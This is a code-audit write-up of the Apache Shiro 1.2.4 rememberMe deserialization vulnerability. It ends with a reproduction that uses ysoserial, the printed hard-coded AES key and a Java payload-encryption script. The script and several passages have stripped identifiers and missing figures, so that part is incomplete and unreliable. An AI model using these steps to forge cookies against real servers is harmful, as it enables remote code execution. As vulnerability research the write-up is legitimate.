I. Introduction to Apache Shiro:
Apache Shiro provides authentication, authorization, encryption, and session management features that hide the complexity and provide a clear and intuitive API that makes it easy for developers to develop their own program security code. This can be accomplished without relying on third-party frameworks, containers, or services, and of course it can be integrated with these environments so that it can be used in any environment.
Shiro focuses on what the Shiro development team calls the "Four Security Cornerstones" - Authentication, Authorization, Session Management, and Cryptography. Cryptography:)
(1) Certification (Authentication): user identification. Sometimes can be seen as "login (login)", it is the user to prove who they are a behavior.
(2) Authorization: the process of access control, as in deciding "who" can access "what".
(3) SessionManagement: Manage user sessions (sessions), even in environments without WEB or EJB containers. Management of the user's time-related state.
(4) encryption (Cryptography): the use of encryption algorithms to protect the data more secure, to prevent the data from prying eyes.
For any application , Shiro can provide comprehensive security management services . And compared to other security frameworks, Shiro is much simpler.
II. Vulnerability analysis:
1. Vulnerability generation process:
(1) Encryption process:value -> serialization -> AES encryption -> base64 encoding -> generating a cookie value of the form rememberMe=cookie
(2) Decryption process (vulnerability generation):payload -> base64 decoding -> AES decryption -> deserialization (causes deserialization vulnerability)
2. Vulnerability code audit:
(1) Encryption process:
First, observe the rememberSerializedIdentity method in , which sets the base64-encoded string of the serialized value to the value of the cookie:
See where the method is called and follow up to view it:
Follow-up shows that the rememberSerializedIdentity method is called by the rememberIdentity method:
Follow up to see the rememberIdentity method:
You can see that the rememberIdentity method is functionally overloaded below:
Continuing to follow up on the overloaded rememberIdentity method, you can see that it is called by the onSuccessfulLoogin method:
The overall logic is that after a successful login, a method is called to generate an encrypted rememberMe=cookie value, and then this generated cookie value is set to the user's cookie value.
Next, hit the reward breakpoint at the if(isRememberMe(token)) code:
Run the code, go to the Web site, enter the default password, check the "rememberMe" option, and submit the form:
Going back to the code breakpoint, you can see the value of the token that was run up to the breakpoint:
Next follow up, step by step analysis of the code, follow up isRememberMe method, analysis can be seen, the role of this method is to determine whether the user has checked rememberMe option, if so, return true, otherwise return false:
Now that we know we have the rememberMe option checked, return true and move on to the next step of calling the rememberIdentity method:
Following up on the rememberIdentity method, this method will first generate a principalColletion object - >principals, which holds the user's login information:
The next step is to call the rememberIdentity method to follow up on this method, which, as can be seen by analyzing the code, first calls the convertPrincipalsToBytes method to perform a serialization operation on the principles value:
Following up on the convertPrincipalsToBytes method, you can see that the method first serializes the principles value using the serialize method and then calls the encrypt method to encrypt the serialized value:
Follow up the serialize method with a call to the serialize method in setSerializer(), and continue to follow up with the second serialize method, which performs a normal serialization operation on the parameter values:
Step through the serialize method, into the if(getCipherService() ! = null), follow up with the getCipherService method, and analyze it to determine that it is an aes encryption:
Follow up with cipherService:
Continuing to follow up, it can be seen that a hard-coded key is used, which is one of the key conditions for the deserialization vulnerability in shiro (1.2.4) to occur
It is possible to follow up and obtain this hardcoded key, through which an attacker can construct payloads, one of the key conditions for the creation of the deserialization vulnerability in shiro (1.2.4)
Continue stepping through to get to the encryption logic of the encrpt method:
Followed by the encrypt method, which takes the serialized value of principles and then encrypts that value using the method:
Follow-up method, in which a very classical AES encryption is performed using a hard-coded key, iv vector:
By summarizing the above logic, convertPrinciplesToBytes method first serializes the principles value, and then performs AES encryption on the serialized value, but AES encryption uses a fixed hard-coded Key that is reversible and can be exploited by malicious people.
Step through the convertPrinciplesToBytes method to get to the logic of the rememberSerializedIndentity method:
Following up on the rememberSerializedIdentity method is to first base64 encode the serialized and encrypted value and set the encoded value as the user's cookie value:
In summary, the encryption process is:
principles value -> serialization -> AES encryption -> base64 encoding -> generating a cookie value of the form rememberMe=cookie
(2) The decryption process and the reasons for the vulnerability:
There is an encryption method, encrypt, and a corresponding decryption method, as shown below:
Look up the hierarchy to follow up on where decrypt was called:
The decrypt method is called in the convertBytesToPrinciples method, continue up to follow where the convertBytesToPrinciples method is called:
As shown in the above figure, the breakpoint is placed and the getRememberSerializedIdentity method is followed up, and it is found that the getRememberSerializedIdentity method obtains the value of the cookie in the request packet and decrypts it with base64, and the value of this obtained cookie is This cookie value is controllable for the attacker:
Step through to the convertBytesToPrinciples method:
This method first uses the decrypt method to perform an aes decryption operation on the incoming parameters using a fixed hard-coded Key:
The deserialize method is then called to deserialize the aes decrypted value, following up on the deserialize method:
Continuing to follow up on the getSerializer().deserialize method, I found that the deserialize method has been overridden:
Continuing to follow up and analyze the rewritten method, the readObject method is used, leading to a deserialization vulnerability:
The basic logic of the decryption process and vulnerability generation is as follows:Get cookie value in request packet -> base64 decode -> aes decrypt -> deserialize
However, due to the controllable cookie value in the request packet and the hard-coded fixed key used for aes encryption, the attack flow is as follows:Attacker constructs payload command -> Manual serialization -> Manual encryption with fixed hardcoded Key -> Manual base64 encryption -> Constructs full payload command -> Constructs rememberMe=payload field in request packet cookie to send packet -> ; getRememberSerializedIdentity method to get cookie value -> base64 decoding -> aes decryption -> deserialization -> readObject() function leads to create deserialization vulnerability.
3. Vulnerability attack replication:
(1) Replication tools:
(i) dnslog
(ii) ysoserial
(iii) encryption script
First construct a java deserialization attack payload using the ysoserial tool:
Use the script to perform encryption operations on the payload:
package ;
import ;
import ;
import ;
import .Base64;
import ;
import ;
import ;
import ;
public class ShiroRememberMeGenPayload {
public static void main(String[] args) throws Exception {
byte[] payloads = (().getPath("C:/Users/lenovo/Desktop/Code Audit/ysoserial-master/payload/"));
AesCipherService aes = new AesCipherService();
byte[] key = (("kPH+bIxk5D2deZiIxcaaaA==")); //Hard-coded fixationKey(be) worth
ByteSource ciphertext = (payloads, key);
BufferedWriter out = new BufferedWriter(new FileWriter(""));
(());
();
("OK");
}
}
Run the code to generate :
Copy the payload value to construct it as rememberMe=payload add it to the cookie field and then put the package:
The existence of the vulnerability is demonstrated by a dnslog postback: